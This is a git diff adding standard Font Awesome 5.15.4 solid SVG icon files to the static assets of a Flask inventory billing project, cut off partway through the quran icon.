Flask/static/font-awesome/svgs/solid/poop.svg new file mode 100644 index 00000000..91379e76 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poop.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M451.36 369.14C468.66 355.99 480 335.41 480 312c0-39.77-32.24-72-72-72h-14.07c13.42-11.73 22.07-28.78 22.07-48 0-35.35-28.65-64-64-64h-5.88c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96-5.17 0-10.15.74-15.11 1.52C250.31 14.64 256 30.62 256 48c0 44.18-35.82 80-80 80h-16c-35.35 0-64 28.65-64 64 0 19.22 8.65 36.27 22.07 48H104c-39.76 0-72 32.23-72 72 0 23.41 11.34 43.99 28.64 57.14C26.31 374.62 0 404.12 0 440c0 39.76 32.24 72 72 72h368c39.76 0 72-32.24 72-72 0-35.88-26.31-65.38-60.64-70.86z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/portrait.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/portrait.svg new file mode 100644 index 00000000..9cd5190a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/portrait.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM192 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 384 80 375.4 80 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pound-sign.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pound-sign.svg new file mode 100644 index 00000000..e4d89304 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pound-sign.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M308 352h-45.495c-6.627 0-12 5.373-12 12v50.848H128V288h84c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-84v-63.556c0-32.266 24.562-57.086 61.792-57.086 23.658 0 45.878 11.505 57.652 18.849 5.151 3.213 11.888 2.051 15.688-2.685l28.493-35.513c4.233-5.276 3.279-13.005-2.119-17.081C273.124 54.56 236.576 32 187.931 32 106.026 32 48 84.742 48 157.961V224H20c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h28v128H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h296c6.627 0 12-5.373 12-12V364c0-6.627-5.373-12-12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/power-off.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/power-off.svg new file mode 100644 index 00000000..75d24468 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/power-off.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 54.1c63 45 104 118.6 104 201.9 0 136.8-110.8 247.7-247.5 248C120 504.3 8.2 393 8 256.4 7.9 173.1 48.9 99.3 111.8 54.2c11.7-8.3 28-4.8 35 7.7L162.6 90c5.9 10.5 3.1 23.8-6.6 31-41.5 30.8-68 79.6-68 134.9-.1 92.3 74.5 168.1 168 168.1 91.6 0 168.6-74.2 168-169.1-.3-51.8-24.7-101.8-68.1-134-9.7-7.2-12.4-20.5-6.5-30.9l15.8-28.1c7-12.4 23.2-16.1 34.8-7.8zM296 264V24c0-13.3-10.7-24-24-24h-32c-13.3 0-24 10.7-24 24v240c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pray.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pray.svg new file mode 100644 index 00000000..dd0c7a29 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pray.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-30.63 169.75c14.06 16.72 39 19.09 55.97 5.22l88-72.02c17.09-13.98 19.59-39.19 5.62-56.28-13.97-17.11-39.19-19.59-56.31-5.62l-57.44 47-38.91-46.31c-15.44-18.39-39.22-27.92-64-25.33-24.19 2.48-45.25 16.27-56.37 36.92l-49.37 92.03c-23.4 43.64-8.69 96.37 34.19 123.75L131.56 432H40c-22.09 0-40 17.91-40 40s17.91 40 40 40h208c34.08 0 53.77-42.79 28.28-68.28L166.42 333.86l34.8-64.87 24.15 28.76z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/praying-hands.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/praying-hands.svg new file mode 100644 index 00000000..7347835d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/praying-hands.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M272 191.91c-17.6 0-32 14.4-32 32v80c0 8.84-7.16 16-16 16s-16-7.16-16-16v-76.55c0-17.39 4.72-34.47 13.69-49.39l77.75-129.59c9.09-15.16 4.19-34.81-10.97-43.91-14.45-8.67-32.72-4.3-42.3 9.21-.2.23-.62.21-.79.48l-117.26 175.9C117.56 205.9 112 224.31 112 243.29v80.23l-90.12 30.04A31.974 31.974 0 0 0 0 383.91v96c0 10.82 8.52 32 32 32 2.69 0 5.41-.34 8.06-1.03l179.19-46.62C269.16 449.99 304 403.8 304 351.91v-128c0-17.6-14.4-32-32-32zm346.12 161.73L528 323.6v-80.23c0-18.98-5.56-37.39-16.12-53.23L394.62 14.25c-.18-.27-.59-.24-.79-.48-9.58-13.51-27.85-17.88-42.3-9.21-15.16 9.09-20.06 28.75-10.97 43.91l77.75 129.59c8.97 14.92 13.69 32 13.69 49.39V304c0 8.84-7.16 16-16 16s-16-7.16-16-16v-80c0-17.6-14.4-32-32-32s-32 14.4-32 32v128c0 51.89 34.84 98.08 84.75 112.34l179.19 46.62c2.66.69 5.38 1.03 8.06 1.03 23.48 0 32-21.18 32-32v-96c0-13.77-8.81-25.99-21.88-30.35z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/prescription-bottle-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/prescription-bottle-alt.svg new file mode 100644 index 00000000..52098876 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/prescription-bottle-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24zM32 480c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v352zm64-184c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/prescription-bottle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/prescription-bottle.svg new file mode 100644 index 00000000..ec0b862c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/prescription-bottle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M32 192h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v64zM360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/prescription.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/prescription.svg new file mode 100644 index 00000000..e48c1080 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/prescription.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M301.26 352l78.06-78.06c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0L256 306.74l-83.96-83.96C219.31 216.8 256 176.89 256 128c0-53.02-42.98-96-96-96H16C7.16 32 0 39.16 0 48v256c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-80h18.75l128 128-78.06 78.06c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0L256 397.25l78.06 78.06c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63L301.26 352zM64 96h96c17.64 0 32 14.36 32 32s-14.36 32-32 32H64V96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/print.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/print.svg new file mode 100644 index 00000000..a96ee8ef --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/print.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 192V77.25c0-8.49-3.37-16.62-9.37-22.63L393.37 9.37c-6-6-14.14-9.37-22.63-9.37H96C78.33 0 64 14.33 64 32v160c-35.35 0-64 28.65-64 64v112c0 8.84 7.16 16 16 16h48v96c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-96h48c8.84 0 16-7.16 16-16V256c0-35.35-28.65-64-64-64zm-64 256H128v-96h256v96zm0-224H128V64h192v48c0 8.84 7.16 16 16 16h48v96zm48 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/procedures.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/procedures.svg new file mode 100644 index 00000000..c77f1159 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/procedures.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528 224H272c-8.8 0-16 7.2-16 16v144H64V144c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v352c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48h512v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V336c0-61.9-50.1-112-112-112zM136 96h126.1l27.6 55.2c5.9 11.8 22.7 11.8 28.6 0L368 51.8 390.1 96H512c8.8 0 16-7.2 16-16s-7.2-16-16-16H409.9L382.3 8.8C376.4-3 359.6-3 353.7 8.8L304 108.2l-19.9-39.8c-1.4-2.7-4.1-4.4-7.2-4.4H136c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm24 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/project-diagram.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/project-diagram.svg new file mode 100644 index 00000000..d730b053 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/project-diagram.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 320H256c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM192 32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v128c0 17.67 14.33 32 32 32h95.72l73.16 128.04C211.98 300.98 232.4 288 256 288h.28L192 175.51V128h224V64H192V32zM608 0H480c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pump-medical.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pump-medical.svg new file mode 100644 index 00000000..ec4a7b50 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pump-medical.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M235.51,159.82H84.24A64,64,0,0,0,20.51,218L.14,442a64,64,0,0,0,63.74,69.8h192A64,64,0,0,0,319.61,442L299.24,218A64,64,0,0,0,235.51,159.82Zm4.37,173.33a13.35,13.35,0,0,1-13.34,13.34h-40v40a13.33,13.33,0,0,1-13.33,13.33H146.54a13.33,13.33,0,0,1-13.33-13.33v-40h-40a13.34,13.34,0,0,1-13.33-13.34V306.49a13.33,13.33,0,0,1,13.33-13.34h40v-40a13.33,13.33,0,0,1,13.33-13.33h26.67a13.33,13.33,0,0,1,13.33,13.33v40h40a13.34,13.34,0,0,1,13.34,13.34ZM379.19,93.88,335.87,50.56a64,64,0,0,0-45.24-18.74H223.88a32,32,0,0,0-32-32h-64a32,32,0,0,0-32,32v96h128v-32h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.19,93.88Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pump-soap.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pump-soap.svg new file mode 100644 index 00000000..6aa2747b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pump-soap.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M235.63,160H84.37a64,64,0,0,0-63.74,58.21L.27,442.21A64,64,0,0,0,64,512H256a64,64,0,0,0,63.74-69.79l-20.36-224A64,64,0,0,0,235.63,160ZM160,416c-33.12,0-60-26.33-60-58.75,0-25,35.7-75.47,52-97.27A10,10,0,0,1,168,260c16.33,21.8,52,72.27,52,97.27C220,389.67,193.12,416,160,416ZM379.31,94.06,336,50.74A64,64,0,0,0,290.75,32H224A32,32,0,0,0,192,0H128A32,32,0,0,0,96,32v96H224V96h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.31,94.06Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/puzzle-piece.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/puzzle-piece.svg new file mode 100644 index 00000000..48ca1c23 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/puzzle-piece.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M519.442 288.651c-41.519 0-59.5 31.593-82.058 31.593C377.409 320.244 432 144 432 144s-196.288 80-196.288-3.297c0-35.827 36.288-46.25 36.288-85.985C272 19.216 243.885 0 210.539 0c-34.654 0-66.366 18.891-66.366 56.346 0 41.364 31.711 59.277 31.711 81.75C175.885 207.719 0 166.758 0 166.758v333.237s178.635 41.047 178.635-28.662c0-22.473-40-40.107-40-81.471 0-37.456 29.25-56.346 63.577-56.346 33.673 0 61.788 19.216 61.788 54.717 0 39.735-36.288 50.158-36.288 85.985 0 60.803 129.675 25.73 181.23 25.73 0 0-34.725-120.101 25.827-120.101 35.962 0 46.423 36.152 86.308 36.152C556.712 416 576 387.99 576 354.443c0-34.199-18.962-65.792-56.558-65.792z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/qrcode.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/qrcode.svg new file mode 100644 index 00000000..0d2edc84 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/qrcode.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 224h192V32H0v192zM64 96h64v64H64V96zm192-64v192h192V32H256zm128 128h-64V96h64v64zM0 480h192V288H0v192zm64-128h64v64H64v-64zm352-64h32v128h-96v-32h-32v96h-64V288h96v32h64v-32zm0 160h32v32h-32v-32zm-64 0h32v32h-32v-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/question-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/question-circle.svg new file mode 100644 index 00000000..48dd6067 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/question-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zM262.655 90c-54.497 0-89.255 22.957-116.549 63.758-3.536 5.286-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/question.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/question.svg new file mode 100644 index 00000000..60e30a77 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/question.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M202.021 0C122.202 0 70.503 32.703 29.914 91.026c-7.363 10.58-5.093 25.086 5.178 32.874l43.138 32.709c10.373 7.865 25.132 6.026 33.253-4.148 25.049-31.381 43.63-49.449 82.757-49.449 30.764 0 68.816 19.799 68.816 49.631 0 22.552-18.617 34.134-48.993 51.164-35.423 19.86-82.299 44.576-82.299 106.405V320c0 13.255 10.745 24 24 24h72.471c13.255 0 24-10.745 24-24v-5.773c0-42.86 125.268-44.645 125.268-160.627C377.504 66.256 286.902 0 202.021 0zM192 373.459c-38.196 0-69.271 31.075-69.271 69.271 0 38.195 31.075 69.27 69.271 69.27s69.271-31.075 69.271-69.271-31.075-69.27-69.271-69.27z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/quidditch.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/quidditch.svg new file mode 100644 index 00000000..b9d4997a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/quidditch.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256.5 216.8L343.2 326s-16.6 102.4-76.6 150.1C206.7 523.8 0 510.2 0 510.2s3.8-23.1 11-55.4l94.6-112.2c4-4.7-.9-11.6-6.6-9.5l-60.4 22.1c14.4-41.7 32.7-80 54.6-97.5 59.9-47.8 163.3-40.9 163.3-40.9zm238 135c-44 0-79.8 35.8-79.8 79.9 0 44.1 35.7 79.9 79.8 79.9 44.1 0 79.8-35.8 79.8-79.9 0-44.2-35.8-79.9-79.8-79.9zM636.5 31L616.7 6c-5.5-6.9-15.5-8-22.4-2.6L361.8 181.3l-34.1-43c-5.1-6.4-15.1-5.2-18.6 2.2l-25.3 54.6 86.7 109.2 58.8-12.4c8-1.7 11.4-11.2 6.3-17.6l-34.1-42.9L634 53.5c6.9-5.5 8-15.6 2.5-22.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/quote-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/quote-left.svg new file mode 100644 index 00000000..ba9977f3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/quote-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 256h-80v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8c-88.4 0-160 71.6-160 160v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zm-288 0H96v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8C71.6 32 0 103.6 0 192v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/quote-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/quote-right.svg new file mode 100644 index 00000000..2e344398 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/quote-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 32H336c-26.5 0-48 21.5-48 48v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48zm-288 0H48C21.5 32 0 53.5 0 80v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/quran.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/quran.svg new file mode 100644 index 00000000..182e0df3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/quran.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM301.08 145.82c.6-1.21 1.76-1.82 2.92-1.82s2.32.61 2.92 1.82l11.18 22.65 25 3.63c2.67.39 3.74 3.67 1.81 5.56l-18.09 17.63 4.27 24.89c.36 2.11-1.31 3.82-3.21 3.82-.5 0-1.02-.12-1.52-.38L304 211.87l-22.36 11.75c-.5.26-1.02.38-1.52.38-1.9 0-3.57-1.71-3.21-3.82l4.27-24.89-18.09-17.63c-1.94-1.89-.87-5.17 1.81-5.56l24.99-3.63 11.19-22.65zm-57.89-69.01c13.67 0 27.26 2.49 40.38 7.41a6.775 6.775 0 1 1-2.38 13.12c-.67 0-3.09-.21-4.13-.21-52.31 0-94.86 42.55-94.86 94.86 0 52.3 42.55 